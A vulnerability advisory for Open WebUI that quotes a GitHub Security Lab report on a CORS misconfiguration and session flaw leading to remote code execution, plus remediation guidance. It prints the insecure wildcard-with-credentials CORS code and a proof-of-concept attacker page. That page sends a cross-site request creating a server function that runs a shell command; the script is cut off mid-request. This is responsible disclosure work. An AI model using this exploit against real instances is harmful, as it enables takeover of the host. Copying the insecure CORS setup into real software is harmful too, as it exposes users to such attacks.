Open WebUI: Open WebUI has a CORS misconfiguration and session validation issue
Open WebUI
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- Severity
- High, CVSS 8.3
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
- Record
- GHSA-6xcp-7mpr-m7wm
- Affects
- Open WebUI
- Known exploited
- Not listed in the CISA Known Exploited Vulnerabilities catalog
- Published
- Record first published by the source
- May 11, 2026
- Source last modified
- May 11, 2026
Description
GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175`
The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [open-webui](https://github.com/open-webui/open-webui).
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-174 or GHSL-2024-175 as a reference). See also [this blog post](https://github.blog/2022-04-22-removing-the-stigma-of-a-cve/) written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are _NOT_ the correct point of contact for this report, please let us know!
Summary
Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.
Project
open-webui
Tested Version
[v0.3.10](https://github.com/open-webui/open-webui/releases/tag/v0.3.10)
Details
Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`)
CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the /api/v1/functions endpoint (admins) can execute arbitrary code on the openwebui instance.
The following pattern occurs at the following routers: 1. [backend/apps/webui/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/webui/main.py#L92) 2. [backend/apps/audio/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/audio/main.py#L58) 3. [backend/apps/images/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/images/main.py#L60) 4. [backend/apps/rag/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/rag/main.py#L246) 5. [backend/apps/openai/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/openai/main.py#L47) 6. [backend/apps/ollama/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/ollama/main.py#L62) 7. [backend/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/main.py#L881)
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)Impact
This issue may lead to Remote Code Execution.
Remediation
The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying allow_origins=["*"]. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as "*" or "*.com"
Proof of Concept
Host the following code on your website, attacker.com. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command whoami placed into a newly created file /tmp/whoami.txt. Ensure you have logged into an admin open-webui account
<body>
<p>Click here to login.</p>
<div id="response"></div>
<script>
//Firefox cross site cookie request bypass
const url = 'http://localhost:3000/static/favicon.png';
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open(url);
filter_id = "okok"
//Create a function/filter to write code
fetch('http://localhost:3000/api/v1/functions/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"id": filter_id,
"name": "test2",
"meta": {"description": "test2"},
"content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n class Valves(BaseModel):\n priority: int = Field(\n default=0, description=\"Priority level for the filter operations.\"\n )\n max_turns: int = Field(\n default=8, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n def __init__(self):\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n # Alternatively, you can remove the files directly from the body in from the inlet hook\n # self.file_handler = True\n\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n import subprocess\n\n output = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n"
}),
credentials: [...] Description quoted from the GitHub Advisory Database.
Who is affected
Open WebUI is a chat screen, used in a web browser, that lets people talk to AI models. This flaw comes from loose security settings that let other websites send requests to Open WebUI, plus a weakness in how logins are checked. If someone with admin access to Open WebUI is logged in and clicks once on a page an attacker controls, the attacker could run their own commands on the computer hosting Open WebUI. In the usual Docker setup (a common way to package and run software), that means full control of that environment. It was confirmed in version 0.3.10. This flaw is rated High.
What to do
- The person who installed or runs Open WebUI for your organization should handle this flaw. If an IT provider or vendor runs it for you, send them this advisory and ask when the update will be done.
- No fixed version is named for this flaw yet, so check the vendor advisory linked on this page for a fixed release.
- Once a fixed release is available, update Open WebUI to it as soon as possible.
- If you are not sure who runs Open WebUI or which version you have, ask your IT provider to check and tell you.
Analysis written from the source record as of May 11, 2026 and reviewed before publishing.